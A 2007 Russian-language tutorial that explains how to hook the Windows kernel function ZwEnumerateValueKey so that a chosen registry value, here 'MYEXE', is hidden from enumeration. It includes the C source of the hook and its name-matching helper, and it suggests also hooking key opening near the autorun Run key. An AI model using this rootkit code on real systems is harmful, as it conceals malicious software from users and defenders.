Допустим тебе нужно скрыть какой-нибудь ( понятия не имею зачем тебе это :P) ключ в реестре, для этого можно(нужно) перехватить ZwEnumerateValueKey , вот об этом и поговорим сейчас. Начнём с того как описана эта функция, какие параметры нужно передавать в неё и что мы получим в конечном итоге.
NTSTATUS ZwEnumerateValueKey(IN HANDLE KeyHandle,IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,OUT PVOID KeyValueInformation,IN ULONG Length,OUT PULONG ResultLength);
Что же мы имеем:
OUT PVOID KeyValueInformation - указатель на буфер с информацией.IN HANDLE KeyHandle - Дескриптор ключа информацию, которого мы хотим получить. IN ULONG Index - Индекс значения, для которого запрошена информация. IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass - Тип запрашиваемой информации. Структура KEY_VALUE_INFORMATION_CLASS описана так : typedef enum _KEY_VALUE_INFORMATION_CLASS { KeyValueBasicInformation, // будем работать с этим KeyValueFullInformation, // и с этим KeyValuePartialInformation, KeyValueFullInformationAlign64, KeyValuePartialInformationAlign64 } KEY_VALUE_INFORMATION_CLASS;
IN ULONG Length - Размер буфера согласно KeyValueInformationClass
OUT PULONG ResultLength - Размер полученного буфера ( в байтах )
Теперь код самой перехваченной функции, в принципе там нет ничего сложного, мы просто выполняем реальную функцию и фильтруем полученный результат.
NTSTATUS NewZwEnumerateValueKey(IN HANDLE KeyHandle,IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,OUT PVOID KeyValueInformation,IN ULONG Length,OUT PULONG ResultLength) { NTSTATUS rc; // статус выполнения функции rc = OldZwEnumerateValueKey(KeyHandle,Index,KeyValueInformationClass, KeyValueInformation,Length,ResultLength); if (NT_SUCCESS(rc) && ( KeyValueInformationClass == KeyValueBasicInformation || KeyValueInformationClass == KeyValueFullInformation)) { PVOID pKey = KeyValueInformation; // буфер с данными // сверяем наш ли ключик if (ProtectZwEnumerateValueKey(getKeyValueName(pKey,KeyValueInformationClass))) { rc = STATUS_INVALID_HANDLE; // а врать не хорошо ! ;) } } return rc; }
Функция ProtectZwEnumerateValueKey выглядит очень просто, в неё передается буфер с данными и класс ( тип запрашиваемой информации ).
BOOLEAN ProtectZwEnumerateValueKey(IN PCWSTR usSrcFileBuff) { BOOLEAN bStat = FALSE; NTSTATUS rc; UNICODE_STRING usUpCase; UNICODE_STRING usKeyName; ANSI_STRING szHideRegKey; int i = 1,b; char *szHideRegisterKey[] = { "MYEXE" // MYEXE }; for (b = 0 ; b < i ; b++) { RtlInitUnicodeString(&usUpCase,usSrcFileBuff); RtlUpcaseUnicodeString(&usKeyName,&usUpCase,TRUE); rc = RtlUnicodeStringToAnsiString(&szHideRegKey,&usKeyName,TRUE); if (NT_SUCCESS(rc)) { if (szHideRegKey.Length != strlen(szHideRegisterKey[b])) { return bStat = FALSE; } if (RtlCompareMemory(szHideRegKey.Buffer,szHideRegisterKey[b],strlen( szHideRegisterKey[b])) == strlen(szHideRegisterKey[b])) { DbgPrint("ProtectZwEnumerateValueKey hooked : %s",szHideRegKey.Buffer); return bStat = TRUE; } RtlFreeAnsiString(&szHideRegKey); RtlFreeUnicodeString(&usKeyName); } } return bStat; }
В принципе это всё, кстати, советую перехватить открытие ключа, но это тоже опасно, так как если допустим, не даст открыть HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run пиши, пропало. Кстати, если этим путём скрыть ключ, то при переименовании функция скажет что такой ключ уже есть :) вот тебе пища для ума.
© ClickF1 28.03.2007


